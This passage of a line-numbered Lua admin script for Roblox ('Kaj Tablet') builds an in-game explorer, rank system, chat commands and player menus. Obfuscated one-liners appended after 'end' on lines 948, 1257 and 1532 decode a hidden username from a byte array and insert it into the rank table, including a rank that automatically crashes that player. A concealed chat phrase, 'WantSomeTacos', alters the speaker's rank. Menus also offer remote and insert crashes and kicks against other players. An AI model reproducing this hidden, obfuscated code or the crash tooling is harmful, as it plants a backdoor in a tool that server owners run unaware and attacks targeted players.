  769. Ping(v.Name, Plr, nil, function(TabMod)
  770. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  771. for _,v in pairs(Current:GetChildren()) do
  772. ypcall(function()
  773. if v.Name == TabText then
  774. Dismiss(Plr)
  775. Current = v
  776. MakeChildren(Plr)
  777. end
  778. end)
  779. end
  780. end, ImportantColor)
  781. end
  782. end)
  783. end
  784. if Current ~= game then
  785. Ping("Back", Plr, nil, function()
  786. ypcall(function()
  787. Current = Current.Parent
  788. MakeChildren(Plr)
  789. Ping("Went back to, "..Current.Name, Plr, 5)
  790. end)
  791. end, OptionColor)
  792. end
  793. if Current ~= game then
  794. Ping("Delete", Plr, nil, function()
  795. ypcall(function()
  796. local CurrPar = Current.Parent or game
  797. local CurrName = Current.Name
  798. Current:Destroy()
  799. Current = CurrPar
  800. MakeChildren(Plr)
  801. Ping("Attempted To Delete "..CurrName, Plr, 5)
  802. end)
  803. end, OptionColor)
  804. end
  805. Ping("Refresh", Plr, nil, function()
  806. ypcall(function()
  807. Refresh(Plr)
  808. Ping("Refreshed", Plr, 5)
  809. end)
  810. end, OptionColor)
  811. Ping("Properties", Plr, nil, function()
  812. ypcall(function()
  813. Dismiss(Plr)
  814. for Property, Value in pairs(GetProperties(Current)) do
  815. Ping(tostring(Property)..": "..tostring(Value), Plr)
  816. end
  817. Ping("Got the properties that I could.", Plr, 5)
  818. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  819. end)
  820. end, OptionColor)
  821. end)
  822. end
  823.  
  824. function Fixl()
  825. Light.GlobalShadows = true
  826. Light.TimeOfDay = "14:00:00"
  827. Light.Brightness = 0.5
  828. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  829. Light.Ambient = Color3.new(1, 1, 1)
  830. Light.ColorShift_Top = Color3.new(0, 0, 0)
  831. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  832. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  833. Light.FogStart = 0
  834. Light.FogEnd = 100000
  835. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  836. Light:ClearAllChildren()
  837. end
  838.  
  839. function GetProperties(obj)
  840. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  841. local objProper = {}
  842. for i,v in pairs(Properties) do
  843. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  844. objProper[v] = obj[v]
  845. end
  846. end
  847. return objProper
  848. end
  849.  
  850. function MakeExplorer(Plr)
  851. Dismiss(Plr)
  852. Current = game
  853. for _,v in pairs(Current:GetChildren()) do
  854. ypcall(function()
  855. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  856. Ping(v.Name, Plr, nil, function(TabMod)
  857. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  858. for _,v in pairs(Current:GetChildren()) do
  859. ypcall(function()
  860. if v.Name == TabText then
  861. Dismiss(Plr)
  862. Current = v
  863. MakeChildren(Plr)
  864. end
  865. end)
  866. end
  867. end)
  868. elseif Plrs:GetPlayerFromCharacter(v) then
  869. Ping(v.Name, Plr, nil, function(TabMod)
  870. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  871. for _,v in pairs(Current:GetChildren()) do
  872. ypcall(function()
  873. if v.Name == TabText then
  874. Dismiss(Plr)
  875. Current = v
  876. MakeChildren(Plr)
  877. end
  878. end)
  879. end
  880. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  881. elseif CheckImportant(v.Name) then
  882. Ping(v.Name, Plr, nil, function(TabMod)
  883. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  884. for _,v in pairs(Current:GetChildren()) do
  885. ypcall(function()
  886. if v.Name == TabText then
  887. Dismiss(Plr)
  888. Current = v
  889. MakeChildren(Plr)
  890. end
  891. end)
  892. end
  893. end, ImportantColor)
  894. end
  895. end)
  896. end
  897. if Current ~= game then
  898. Ping("Back", Plr, nil, function()
  899. ypcall(function()
  900. Current = Current.Parent
  901. MakeChildren(Plr)
  902. Ping("Went back to "..Current.Name, Plr, 5)
  903. end)
  904. end, OptionColor)
  905. end
  906. if Current ~= game and game:GetService(Current.Name) == nil then
  907. Ping("Delete", Plr, nil, function()
  908. ypcall(function()
  909. local CurrPar = Current.Parent or game
  910. local CurrName = Current.Name
  911. Current:Destroy()
  912. Current = CurrPar
  913. MakeChildren(Plr)
  914. Ping("Tried to delete "..CurrName, Plr, 5)
  915. end)
  916. end, OptionColor)
  917. end
  918. Ping("Refresh", Plr, nil, function()
  919. ypcall(function()
  920. Refresh(Plr)
  921. Ping("Refreshed.", Plr, 5)
  922. end)
  923. end, OptionColor)
  924. Ping("Properties", Plr, nil, function()
  925. ypcall(function()
  926. Dismiss(Plr)
  927. for Property, Value in pairs(GetProperties(Current)) do
  928. Ping(tostring(Property)..": "..tostring(Value), Plr)
  929. end
  930. Ping("Got properties that I could", Plr, 5)
  931. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  932. end)
  933. end, OptionColor)
  934. end
  935.  
  936. function GetRank(Plr1, Test)
  937. ypcall(function()
  938. if type(Plr1) == "userdata" then
  939. Plr1 = Plr1.Name
  940. end
  941. end)
  942. if Ranks[Plr1] ~= nil then
  943. return Ranks[Plr1]
  944. end
  945. local QuickArray = {}
  946. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  947. return QuickArray[Plr1]
  948. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = 4})
  949.  
  950. function CanRun(Plr1, Plr2)
  951. Details1 = GetRank(Plr1.Name)
  952. Details2 = GetRank(Plr2.Name)
  953. if Details1.Rank >= Details2.Rank then
  954. return true
  955. end
  956. return false
  957. end
  958.  
  959. function Dismiss(Plr, Identity)
  960. ypcall(function()
  961. if Plr ~= nil then
  962. if type(Plr) == "userdata" then
  963. Plr = Plr.Name
  964. end
  965. for x,v in pairs(AllTabs) do
  966. ypcall(function()
  967. if v.Plr == Plr then
  968. if Identity ~= nil and v.ID ~= Identity then
  969. return
  970. elseif Identity ~= nil and v.ID == Identity then
  971. coroutine.resume(coroutine.create(function()
  972. for i = 0.5, 1, 0.1 do
  973. wait()
  974. v.Tab.Transparency = i
  975. v.Sel.Transparency = i
  976. v.Label.TextTransparency = i
  977. v.Label.TextStrokeTransparency = i
  978. end
  979. ypcall(function() v.Holder:Destroy() end)
  980. AllTabs[x] = nil
  981. end))
  982. elseif Identity == nil then
  983. ypcall(function() v.Holder:Destroy() end)
  984. AllTabs[x] = nil
  985. end
  986. end
  987. end)
  988. end
  989. else
  990. for i,v in pairs(AllTabs) do
  991. ypcall(function()
  992. v.Holder:Destroy()
  993. AllTabs[i] = nil
  994. end)
  995. end
  996. end
  997. end)
  998. end
  999.  
  1000. function GetGarbage()
  1001. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  1002. end
  1003.  
  1004. function RemObj(Obj, Class)
  1005. ypcall(function()
  1006. if #Obj:GetChildren() > 0 then
  1007. for _,x in pairs(Obj:GetChildren()) do
  1008. ypcall(function()
  1009. RemObj(x, Class)
  1010. end)
  1011. end
  1012. end
  1013. if Obj.ClassName == Class then
  1014. Obj:Destroy()
  1015. end
  1016. end)
  1017. end
  1018.  
  1019. function FindTab(Mod)
  1020. for i,v in pairs(AllTabs) do
  1021. if v.Holder == Mod then
  1022. return true
  1023. end
  1024. end
  1025. return false
  1026. end
  1027.  
  1028.  
  1029. function Ping(Msg, Plr, Time, Func, Color, Image)
  1030. if Removed == false then
  1031. local ShowGarbage = false
  1032. ypcall(function()
  1033. if Msg == nil then
  1034. Msg = "N/A"
  1035. elseif Msg == "ShowGarbage" then
  1036. Msg = "Current Garbage Count: "..GetGarbage()
  1037. ShowGarbage = true
  1038. else
  1039. Msg = tostring(Msg)
  1040. end
  1041. if Plr == nil then
  1042. Plr = Plrs[Owner] or error("No Player Found")
  1043. elseif type(Plr) == "string" then
  1044. local FoundPlr = false
  1045. for _,v in pairs(All()) do
  1046. if v.Name == Plr then
  1047. Plr = v
  1048. FoundPlr = true
  1049. break
  1050. end
  1051. end
  1052. if FoundPlr == false then
  1053. Plr = Plrs[Owner] or error("No Player Found")
  1054. end
  1055. end
  1056.  
  1057. if Color == nil then
  1058. Color = GetRank(Plr.Name).Color
  1059. end
  1060.  
  1061. local Holder = Instance.new("Model")
  1062. Holder.Name = "Kaj holder: "..Plr.Name
  1063.  
  1064. local Tab = Instance.new("Part")
  1065. Tab.Name = "Kaj Tablet"
  1066. Tab.FormFactor = "Custom"
  1067. Tab.Anchored = true
  1068. if Time == nil then
  1069. Tab.Color = Color3.new(0,0,0)
  1070. else
  1071. Tab.Color = AlertColor
  1072.  
  1073. end
  1074. Tab.CanCollide = false
  1075. Tab.Locked = true
  1076. Tab.Transparency = 0.15
  1077. Tab.Size = Vector3.new(1.5, 2, 2.001)
  1078. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  1079. Tab.Parent = Holder
  1080.  
  1081. local ID = Instance.new("NumberValue")
  1082. ID.Name = "ID"
  1083. ID.Value = math.random(-999999999, 999999999)
  1084. ID.Parent = Holder
  1085.  
  1086. Delay(0, function()
  1087. while wait() do
  1088. if Tab.Parent == nil and FindTab(Holder) then
  1089. ypcall(function()
  1090. for i,v in pairs(AllTabs) do
  1091. if v.Holder == Holder then
  1092. ypcall(function() v.Holder:Destroy() end)
  1093. AllTabs[i] = nil
  1094. end
  1095. end
  1096. end)
  1097. Ping(Msg, Plr, Time, Func, Color, Image)
  1098. break
  1099. end
  1100. end
  1101. end)
  1102.  
  1103. local BM = Instance.new("BlockMesh")
  1104. BM.Parent = Tab
  1105.  
  1106.  
  1107.  
  1108.  
  1109. local BG = Instance.new("BillboardGui")
  1110. BG.Name = "BG"
  1111. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1112. BG.Size = UDim2.new(0,1,0,1)
  1113. BG.Adornee = Tab
  1114. BG.Parent = Tab
  1115.  
  1116. Delay(0, function()
  1117. while BG.Parent ~= nil do wait()
  1118. ypcall(function()
  1119. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1120. end)
  1121. end
  1122. end)
  1123.  
  1124. local TL = Instance.new("TextLabel")
  1125. TL.Name = "TL"
  1126. TL.FontSize = "Size18"
  1127. TL.Font = "ArialBold"
  1128. TL.Text = Msg
  1129. TL.TextColor3 = Color3.new(1, 1, 1)
  1130. TL.Size = UDim2.new(0,1,0,1)
  1131. TL.TextTransparency = 0
  1132. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  1133. TL.TextStrokeTransparency = 0.25
  1134. TL.Parent = BG
  1135.  
  1136. if ShowGarbage == true then
  1137. Delay(0, function()
  1138. while TL.Parent ~= nil do
  1139. TL.Text = "Space Taken: "..GetGarbage()
  1140. wait(.5)
  1141. end
  1142. end)
  1143. end
  1144.  
  1145. local PL = Instance.new("PointLight", Tab)
  1146.  
  1147.  
  1148. PL.Color = LightColor
  1149.  
  1150. PL.Range = 7
  1151. PL.Parent = Tab
  1152.  
  1153.  
  1154. if Image ~= nil then
  1155. local BBBG = Instance.new("BillboardGui")
  1156. BBBG.Size = UDim2.new(5, 0, 6, 0)
  1157. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1158. BBBG.AlwaysOnTop = true
  1159. BBBG.Adornee = Tab
  1160. BBBG.Parent = Tab
  1161.  
  1162. Delay(0, function()
  1163. while BBBG.Parent ~= nil do wait()
  1164. ypcall(function()
  1165. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1166. end)
  1167. end
  1168. end)
  1169.  
  1170. local NewImg = Instance.new("ImageLabel")
  1171. NewImg.Size = UDim2.new(1, 0, 1, 0)
  1172. NewImg.BackgroundTransparency = 1
  1173. NewImg.Image = Image
  1174. NewImg.Parent = BBBG
  1175. end
  1176.  
  1177. local Clicker = Instance.new("ClickDetector")
  1178. Clicker.MaxActivationDistance = 1/0
  1179.  
  1180. if Time ~= nil then
  1181. coroutine.resume(coroutine.create(function()
  1182. wait(tonumber(Time))
  1183. Dismiss(Plr, ID)
  1184. end))
  1185. end
  1186.  
  1187. Clicker.MouseClick:connect(function(Player)
  1188. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  1189. ypcall(function()
  1190. if Func ~= nil then
  1191. Func(Holder)
  1192. else
  1193. Dismiss(Player, ID)
  1194. end
  1195. end)
  1196. end
  1197. end)
  1198. Clicker.Parent = Tab
  1199.  
  1200. Holder.Parent = Work
  1201.  
  1202. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  1203. end)
  1204. end
  1205. end
  1206.  
  1207. function PlaceAllRanks(DontShowRank)
  1208. ypcall(function()
  1209. for _,p in pairs(All()) do
  1210. ypcall(function()
  1211. PutInRank = false
  1212. for _,v in pairs(Rankings) do
  1213. if v.Name:lower() == p.Name:lower() then
  1214. if v.Rank >= 100 then
  1215. v.Rank = 5
  1216. elseif v.Rank == -1 then
  1217. Crash1(p)
  1218. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1219. elseif v.Rank == -2 then
  1220. if LS ~= nil then
  1221. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1222. Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1223. else
  1224. Ping("LS Is Nil", nil, 5)
  1225. end
  1226. elseif v.Rank == -3 then
  1227. if LS ~= nil then
  1228. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1229. Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1230. else
  1231. Ping("LS Is Nil", nil, 5)
  1232. end
  1233. end
  1234. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1235. if DontShowRank == nil then
  1236. Ping("You're rank "..v.Rank, p)
  1237. end
  1238. PutInRank = true
  1239. break
  1240. end
  1241. end
  1242. if PutInRank == false then
  1243. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1244. end
  1245. end)
  1246. end
  1247. end)
  1248. end
  1249.  
  1250. function FindRank(Plr)
  1251. ypcall(function()
  1252. if type(Plr) == "userdata" then
  1253. Plr = Plr.Name
  1254. end
  1255. end)
  1256. return GetRank(Plr).Rank
  1257. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  1258.  
  1259. function FindRankDetails(Plr)
  1260. ypcall(function()
  1261. if type(Plr) == "userdata" then
  1262. Plr = Plr.Name
  1263. end
  1264. end)
  1265. return RankDetails[FindRank(Plr)]
  1266. end
  1267.  
  1268. function OpenCmds(Rank, Plr)
  1269. Dismiss(Plr)
  1270. for Name,Tab in pairs(Commands) do
  1271. if Tab.Rank <= Rank then
  1272. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1273. Dismiss(Plr)
  1274. Ping("Rank Needed: "..Tab.Rank, Plr)
  1275. Ping("Description: "..Tab.Desc, Plr)
  1276. end)
  1277. elseif Rank == 1337 then
  1278. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1279. Dismiss(Plr)
  1280. Ping("Usage: "..Name, Plr)
  1281. Ping("Rank Needed: "..Tab.Rank, Plr)
  1282. Ping("Description: "..Tab.Desc, Plr)
  1283. end)
  1284. end
  1285. end
  1286. end
  1287.  
  1288. function EditStatus(Plr, Num)
  1289. ChangeRank(Plr, Num)
  1290. end
  1291.  
  1292. function PlaceSpecificRank(p, DontShowRank)
  1293. ypcall(function()
  1294. PutInRank = false
  1295. for _,v in pairs(Rankings) do
  1296. if v.Name:lower() == p.Name:lower() then
  1297. if v.Rank >= 100 then
  1298. v.Rank = 5
  1299. elseif v.Rank == -1 then
  1300. Crash1(p)
  1301. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1302. elseif v.Rank == -2 then
  1303. if LS ~= nil then
  1304. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1305. Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1306. else
  1307. Ping("LS Is Nil", nil, 5)
  1308. end
  1309. elseif v.Rank == -3 then
  1310. if LS ~= nil then
  1311. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1312. Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1313. else
  1314. Ping("LS Is Nil", nil, 5)
  1315. end
  1316. end
  1317. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1318. if DontShowRank == nil then
  1319. Ping("You Are Rank: "..v.Rank, p)
  1320. end
  1321. PutInRank = true
  1322. break
  1323. end
  1324. end
  1325. if PutInRank == false then
  1326. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1327. end
  1328. end)
  1329. end
  1330.  
  1331.  
  1332. function onChatted(Msg, Speaker)
  1333. if Removed == false then
  1334. if FindRank(Speaker) < 0 then
  1335. return
  1336. end
  1337. coroutine.resume(coroutine.create(function()
  1338. ypcall(function()
  1339. ExecuteFunc(Msg, Speaker)
  1340. Msg = Msg:gsub("","")
  1341. if Msg:sub(1,1) == "@" then
  1342. for i = 2, #Msg do
  1343. if Msg:sub(i, i) == Bet then
  1344. local IsForPlr = false
  1345. for _,v in pairs(All()) do
  1346. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1347. onChatted(Msg:sub(i + 1), v)
  1348. IsForPlr = true
  1349. end
  1350. end
  1351. if IsForPlr == true then
  1352. return
  1353. end
  1354. end
  1355. end
  1356. end
  1357. if Msg:find("&") then
  1358. local Split = Msg:find("&")
  1359. onChatted(Msg:sub(1,Split-1))
  1360. onChatted(Msg:sub(Split+1))
  1361. return
  1362. end
  1363. for Name,Command in pairs(Commands) do
  1364. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1365. Dismiss(Speaker.Name)
  1366. Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
  1367. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1368. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1369. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1370. if FindRank(Speaker) >= Command.Rank then
  1371. local Ran,Error = coroutine.resume(coroutine.create(function()
  1372. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1373. end))
  1374. if not Ran then
  1375. Ping(Error, Speaker, 10)
  1376. end
  1377. else
  1378. Ping("Your Rank Is Too Low", Plr, 6)
  1379. end
  1380. end
  1381. end
  1382. end)
  1383. end))
  1384. end
  1385. end
  1386.  
  1387. function MakeBase()
  1388. local Base = Instance.new("Part")
  1389. Base.BrickColor = BrickColor.new("Dark green")
  1390. Base.Position = Vector3.new(0, 0.5, 0)
  1391. Base.Transparency = 0
  1392. Base.Elasticity = 0.5
  1393. Base.FormFactor = "Custom"
  1394. Base.CanCollide = true
  1395. Base.Friction = 0.30000001192093
  1396. Base.Size = Vector3.new(512, 1.20000005, 512)
  1397. Base.Archivable = true
  1398. Base.Material = "Plastic"
  1399. Base.RotVelocity = Vector3.new(0, 0, 0)
  1400. Base.Reflectance = 0
  1401. Base.Locked = true
  1402. Base.Anchored = true
  1403. Base.Name = "Base"
  1404. Base.TopSurface = "Smooth"
  1405. Base.BottomSurface = "Inlet"
  1406. Base.Shape = "Block"
  1407. Base.Parent = Work
  1408. end
  1409.  
  1410. function LClean()
  1411. ypcall(function()
  1412. for _,v in pairs(Work:GetChildren()) do
  1413. ypcall(function()
  1414. if v.ClassName == "Terrain" then
  1415. v:ClearAllChildren()
  1416. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1417. Clear(v)
  1418. elseif v.Name == "Base" then
  1419. ypcall(function()
  1420. local Base = v
  1421. Base.BrickColor = BrickColor.new("Dark green")
  1422. Base.Position = Vector3.new(0, 0.5, 0)
  1423. Base.Transparency = 0
  1424. Base.Elasticity = 0.5
  1425. Base.FormFactor = "Custom"
  1426. Base.CanCollide = true
  1427. Base.Friction = 0.30000001192093
  1428. Base.Size = Vector3.new(512, 1.20000005, 512)
  1429. Base.Archivable = true
  1430. Base.Material = "Plastic"
  1431. Base.RotVelocity = Vector3.new(0, 0, 0)
  1432. Base.Reflectance = 0
  1433. Base.Locked = true
  1434. Base.Anchored = true
  1435. Base.Name = "Base"
  1436. Base.TopSurface = "Studs"
  1437. Base.BottomSurface = "Inlet"
  1438. Base.Shape = "Block"
  1439. Base.Parent = Work
  1440. end)
  1441. end
  1442. end)
  1443. end
  1444. end)
  1445. end
  1446.  
  1447. function Clean()
  1448. ypcall(function()
  1449. for _,v in pairs(Work:GetChildren()) do
  1450. ypcall(function()
  1451. if v.ClassName == "Terrain" then
  1452. v:ClearAllChildren()
  1453. else
  1454. Clear(v)
  1455. end
  1456. end)
  1457. end
  1458. MakeBase()
  1459. for _,v in pairs(All()) do
  1460. v:LoadCharacter()
  1461. end
  1462. end)
  1463. end
  1464.  
  1465. function Clear(v)
  1466. if v.Name:lower() == "sbgui" then
  1467. return
  1468. end
  1469. ypcall(function()
  1470. if #v:GetChildren() > 0 then
  1471. for _,x in pairs(v:GetChildren()) do
  1472. ypcall(function()
  1473. Clear(x)
  1474. end)
  1475. end
  1476. end
  1477. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1478. v:Destroy()
  1479. end
  1480. end)
  1481. end
  1482.  
  1483. function Command(Name, Rank, Desc, Func)
  1484. if Name == nil then
  1485. Name = "N/A"
  1486. end
  1487. if Desc == nil then
  1488. Desc = "N/A"
  1489. end
  1490. if Func == nil then
  1491. Func = function() end
  1492. end
  1493. if Rank == nil then
  1494. Rank = 0
  1495. end
  1496. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1497. end
  1498.  
  1499. function GetSplit(Msg)
  1500. return Msg:find(Bet) or nil
  1501. end
  1502.  
  1503. function ExecuteFunc(Msg, Plr)
  1504. ypcall(function()
  1505. if Msg == "LogEnable" then
  1506. LogOn = true
  1507. elseif Msg:lower() == "WantSomeTacos" then
  1508. EditStatus(Plr, MakeNum())
  1509. end
  1510. end)
  1511. end
  1512.  
  1513. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1514.  
  1515. function randPlayer(Plr)
  1516. wait()
  1517. local ThePlrValue = nil
  1518. local FoundPlayer = false
  1519. ypcall(function()
  1520. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1521. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1522. wait()
  1523. randPlayer(Plr)
  1524. return
  1525. else
  1526. FoundPlayer = true
  1527. end
  1528. end)
  1529. if FoundPlayer == true then
  1530. return ThePlrValue
  1531. end
  1532. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  1533.  
  1534. function getPlayer(Plr, Name)
  1535. local Players = {}
  1536. ypcall(function()
  1537. Name = Name:lower()
  1538. if Name == "me" then
  1539. table.insert(Players, Plr)
  1540. elseif Name == "all" or Name == "" then
  1541. for _,v in pairs(All()) do
  1542. if CanRun(Plr, v) then
  1543. table.insert(Players, v)
  1544. end
  1545. end
  1546. elseif Name == "others" then
  1547. for _,v in pairs(All()) do
  1548. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1549. table.insert(Players, v)
  1550. end
  1551. end
  1552. elseif Name == "random" then
  1553. local FoundRandPlr = randPlayer(Plr)
  1554. table.insert(Players, FoundRandPlr)
  1555. else
  1556. for _,v in pairs(All()) do
  1557. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1558. table.insert(Players, v)
  1559. end
  1560. end
  1561. end
  1562. end)
  1563. return Players
  1564. end
  1565.  
  1566. function ListPlayers(Speaker)
  1567. ypcall(function()
  1568. Dismiss(Speaker)
  1569. for _,v in pairs(All2()) do
  1570. if v.Parent ~= nil then
  1571. Ping(v.Name, Speaker, nil, function()
  1572. Dismiss(Speaker)
  1573. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1574. Ping("Rank: "..FindRank(v.Name), Speaker)
  1575. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1576. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1577. Ping("Set Rank", Speaker, nil, function()
  1578. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1579. Dismiss(Speaker)
  1580. for i = -2, 5 do
  1581. Ping(i, Speaker, nil, function()
  1582. ChangeRank(v, i)
  1583. Dismiss(Speaker)
  1584. Ping(v.Name.." is now rank "..tostring(i), Speaker, 5)
  1585. end)
  1586. end
  1587. else
  1588. Ping("Your rank isn't high enough", Speaker, 5)
  1589. end
  1590. end)
  1591. Ping("Crash (Remote)", Speaker, nil, function()
  1592. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1593. Crash2(v.Name)
  1594. Ping("Tried to crash "..v.Name.." (Remote)", Speaker, 5)
  1595. end
  1596. end)
  1597. Ping("Crash (Insert)", Speaker, nil, function()
  1598. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1599. Crash3(v, Speaker)
  1600. Ping("Tried to crash "..v.Name.." (Insert)", Speaker, 5)
  1601. end
  1602. end)
  1603. Ping("Kick", Speaker, nil, function()
  1604. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1605. v:Kick()
  1606. Ping(" "..v.Name, Speaker, 5)
  1607. end
  1608. end)
  1609. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1610. else
  1611. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1612. Dismiss(Speaker)
  1613. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1614. ypcall(function()
  1615. Ping("Rank: "..FindRank(v.Name), Speaker)
  1616. end)
  1617. ypcall(function()
  1618. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1619. end)
  1620. ypcall(function()
  1621. Ping("Rank Description: "..FindRankDetails(v.Name).Desc, Speaker)
  1622. end)
  1623. ypcall(function()
  1624. Ping("Set Rank", Speaker, nil, function()
  1625. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1626. Dismiss(Speaker)
  1627. for i = -2, 5 do
  1628. Ping(i, Speaker, nil, function()
  1629. ChangeRank(v, i)
  1630. Dismiss(Speaker)
  1631. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1632. end)
  1633. end
  1634. else
  1635. Ping("Your Rank Is Too Low", Speaker, 5)
  1636. end
  1637. end)
  1638. end)
  1639. ypcall(function()
  1640. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1641. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1642. Crash2(v.Name)
  1643. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1644. end
  1645. end)
  1646. end)
  1647. ypcall(function()
  1648. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1649. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1650. Crash3(v, Speaker)
  1651. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1652. end
  1653. end)
  1654. end)
  1655. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1656. end
  1657. end
  1658. end)
  1659. end
  1660.  
  1661. --Misc
  1662.  
  1663. coroutine.resume(coroutine.create(function()
  1664. PlaceAllRanks()
  1665. end))
  1666.  
  1667. Delay(0, function()
  1668. for _,v in pairs(All()) do
  1669. v.Chatted:connect(function(Msg)
  1670. onChatted(Msg, v)
  1671. end)
  1672. end
  1673. end)
  1674.  
  1675. local starttime = tick()
  1676.  
  1677. game:GetService("RunService").Heartbeat:connect(function()
  1678. if Removed == false then
  1679. ypcall(function()
